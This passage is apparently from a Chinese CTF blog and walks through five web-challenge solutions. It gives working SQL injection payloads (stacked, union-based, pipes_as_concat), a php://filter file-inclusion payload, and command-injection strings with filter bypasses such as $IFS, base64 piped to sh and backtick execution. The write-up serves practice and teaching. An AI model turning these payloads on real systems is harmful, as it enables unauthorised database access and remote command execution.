6.[SUCTF 2019]EasySQL

题目
我们先输入1,返回有回显。
回显
继续测试其它字符,发现输入数字都有回显,但是如果输入的是字母,则没有回显。
1.报错注入 1'
输入:1' 没有回显,应该是存在SQL注入,但是关闭了错误回显,所以报错注入是行不通了。
2.联合查询:1 order by 2
用order去试探有多少字段,返回的都是Nonono,看来order by也被过滤了,联合查询也就行不通了。
回显
3.布尔盲注:1 and length(database())>=1# 1' and length(database())>=1#
接下来我们尝试布尔盲注发现还是不行。
4.时间盲注:1 and if(length(database())>=1,1,sleep(5))#
依然不行(这题目的出题人过滤的比较细)可能是我们漏掉了其它注入方式。
5.堆叠注入:1; show databases#
终于注入成功了,让我们看看回显的内容。
回显成功
查看有哪些表吧:1; show tables#
表 回显
试着查看表中的数据:1; show columns form Flag;#
不行!不行!不行!换个思路
经过面向write up玩web了解了。

1.输入非零数字得到的回显1和输入其余字符得不到回显=>来判断出内部的查询语句可能存在||
2.即select输入的数据||内置一个列名 from 表名=>即为
select post进去的数据||flag from Flag(含有数据的表名,通过堆叠注入可知)

此时的||起到的作用是or的作用

解法1:内置的sql语句为:sql=“select”.post[‘query’]."||flag from Flag";
如果$post[‘query’]的数据为*,1 sql语句就变成了
select *,1||flag from Flag 也就是:select *,1 from Flag

也就是直接查询出了Flag表中的所有内容:
方法1
上述方法1比较晦涩难懂,因为并没有说清楚为什么
(,1 <=> select ,1 from flag)
1||flag 这句怎么理解,这句就是短路语句,返回的就是1。
所以我们实现拼接:select *,1 form flag
select 1 from 的意思是建立一个临时列,这个列的所有初始值都被设为1
关键就在前面的 * 了。

解法2:堆叠注入
前面我尝试注入,可以发现没有过滤database和show。
我们构造payload:1;show databases;
这里就不用什么#和引号了,因为我们的目的是合理插入语句并执行,他一定有select、from并且没有过滤databases这些关键字,那肯定直接注就行了。
![回显成功][7]
同理我们刚刚尝试过:1;show tables 同样得到了回显。
但是show columns from Flag就不行。
只是一个正常的:Array ( [0] => 1 )
那这样猜出 || flag from Flag 就很容易了。

解法3:先上payload:1;set sql_mode=pipes_as_concat;select 1
pipes_as_concat # 把|| 设置成了 concat函数
但是要注意分号隔断了前面的命令,所以要再次添加select!!!
pipes_as_concat等同于select concat(1,flag) from Flag

考察点:
1 || ** 类语句理解
select 1 from 类语句理解
set sql_mode = pipes_as_concat 命令理解

7.[极客大挑战 2019]Secret File

开环境,页面加载的信息可以看出似乎信息都被放在了“那里”,而这道题的题目名字是Secret File,大概有那么一丝线索了。
环境
查看网页源代码的时候发现一个./Archive_room.php,下面还配了一句话,进去看看。
审计网页源码
这是一个绝密文档,尝试点击SECRET,告诉我们已经阅读结束了。
绝密文档
返回结果
这题就是类似于手速要快过老司机的那种体型,太常见了直接掏家伙放到Burp Suite里开始干!
首先我们在./Archive_room.php的源码里发现了./action.php,但是如果点击“SECRET”按钮就又会直接跳转到/end.php
发现了action.php
所以我们的思路应该确定在抓./action.php,在重发器里查看它返回的页面是什么。
发现新的页面secr3t.php
我们去访问一下这个页面,好的发现flag.php答案就在眼跟前了。
发现新页面flag.php
访问flag.php,发现又被嘲讽了,看来是前面那段PHP没有审计仔细,回去再看一下!
看不见flag
审计代码:

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file,  
    "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

代码解析:

1.strstr() — 查找字符串的首次出现
2.stristr() — strstr() 函数的忽略大小写版本
3.要GET一个file参数过去,但是不能含有…/、tp、input、data,包括这些的大小写
不含有这些的话就会包含file指定的文件,php://伪协议
4.php://filter可以使用
5.尝试构造payload:
payload=/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

构造成功
结尾是一个=,应该就是Base64直接解码一波:
解码结果
好,直接拿下flag,完美解题。

8.[ACTF2020 新生赛]Exec

环境
这道题看起来似乎很熟悉,好像在其它平台做过,那我们就试着解一下吧。
127.0.0.1
尝试ping了一下本地,发现返回的和正常ping一样的结果,尝试输入长字符串没有得到回显。
那就继续ping尝试一下:
回显结果
127.0.1;cat index.php
直接ping ip可以找到结果,那就试着直接把flag打印出来。
当前文件夹下没有flag文件,猜测可能在父目录中,使用127.0.0.1;ls ../去查看,一直到127.0.0.1;ls ../../../ 可看到flag文件。
目录
使用127.0.0.1;cat ../../../flag读取flag即可
flag

9.[极客大挑战 2019]LoveSQL

又是SQL题型,萌新看到可能又蒙了,一起来看看。
sqlmap使用提示
还是熟悉的界面,貌似是上一道题目的升级版本。先来一波注入吧,还记得上一章我给大家分享的万能密码表吗,不记得回去看,这里我就直接使用了。
尝试登录:

用户名:1' or 1=1#
密码:123456(随便输)

登录成功
尝试用md5解密password,发现不行,观察一下URL,发现发生了一些变化,还是回到SQL注入上去。

/check.php?username=admin' order by 3%23&password=1     存在
/check.php?username=admin' order by 4%23&password=1     报错

注意:此时是在url中输入的,所以不能用#,而用其url编码%23。
可知共3个字段。用union查询测试注入点:

/check.php?username=1' union select 1,2,3%23&password=1

回显点位
得到回显点位为2和3,查询当前数据库名及版本:

/check.php?username=1' union select 1,database(),version()%23&password=1

数据库名和版本
可知当前数据库为geek接下来:爆表

/check.php?username=1' union select 1,2,group_concat(table_name)
from information_schema.tables where table_schema=database()%23&password=1

爆表
爆出这两个表,我们试一下l0ve1ysq1这个表:
爆字段:

/check.php?username=1' union select 1,2,group_concat(column_name)
from information_schema.columns where table_schema=database() and 
table_name='l0ve1ysq1'%23&password=1

得到三个子段
爆数据:

/check.php?username=1' union select 1,2,group_concat
(id,username,password) from l0ve1ysq1%23&password=1

乱七八糟
翻一翻,找到了flag。这道题就是纯纯练习SQL注入的基本功,这题得会。
得到flag

flag{5d8d4e46-a903-4500-94d3-adb98ebecc12}

10.[GXYCTF2019]Ping Ping Ping

题目
这道题很有个性,点开看连源码都很干净,先科普一下ping。
ping
PING命令其实就是用于确定本地主机是否能与另一台主机成功交换(发送与接收)数据包,再根据返回的信息,就可以推断TCP/IP参数是否设置正确,以及运行是否正常、网络是否通畅等。但其实我们这种题并不是真的让你去PING某个IP;而是让你利用终端去执行你想要的语句。
给了/?ip= 后边应该是我们所想要执行的语句。先随便ping一下。
ping 1
有回显,我们在在后边继续执行语句,先查看一下ls;
ping 1;ls
这里发现终端有一个flag.php和一个Index.php,cat flag.php一下试一试
cat flag.php
发现空格被过滤了,科普一下绕过空格的几个办法:

${IFS}替换
$IFS$1替换
${IFS替换
%20替换
<和<>重定向符替换
%09替换

但是我们不知道哪些被过滤了,所以我们要都来试一下,但是第一个就不太行,但是第二个又是刚才的回显那可能是flag被过滤了,试一下index.php。
ip=1;cat$IFS$1index.php
发现源码出来了。可以看到flag.<>.{}都被过滤了,bash也被过滤,这时候我们可以想着试一下变量拼接。
payload:ip=1;a=g;cat$IFS$1fla$a.php;
打开源码即可看到flag
这里还有大佬的解法:
base64编码
如题目一样就是用base64进行编码,再用命令进行解读。从而达到执行。这里用的是sh,sh的大部分脚本都可以在bash下运行

payload:/?ip=1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

前边Y2F0IGZsYWcucGhw是cat flag.php的base64编码.在用base64 -d命令进行执行
这里边的|是管道符.
常见管道符
Windows系统支持的管道符
1.管道符|
|直接执行后面的语句
2.管道符||
||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语
3.管道符&
&前面和后面命令都要执行,无论前面真假
接下来说另外的几种方法
2.单引号、双引号绕过

ca"t fl''ag

可以使用这种方法去绕过有时候的cat 和flag 但在本题单双引号被ban了
3.反斜线绕过

ca\t fl\ag

本题中反斜线也被ban了
4.$1、$2等和 $@绕过
c$1at gh$@twf01.txt

如果cat被过滤,可以用下边的方法进行绕过
(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容

最后说一个最强的payload:内敛绕过
内联,就是将反引号内命令的输出作为输入执行。

?ip=127.0.0.1;cat$IFS$1`ls`

代码全部显示。除了被注释的flag
这道题的不同解法很值得思考,对空格的替换,对过滤的推断,利用sh命令利用base64编码执行想要的命令。
还有这个内敛绕过!

最后修改:2021 年 09 月 21 日 11 : 17 AM
如果觉得这篇文章不错,不妨赏我碎银几两。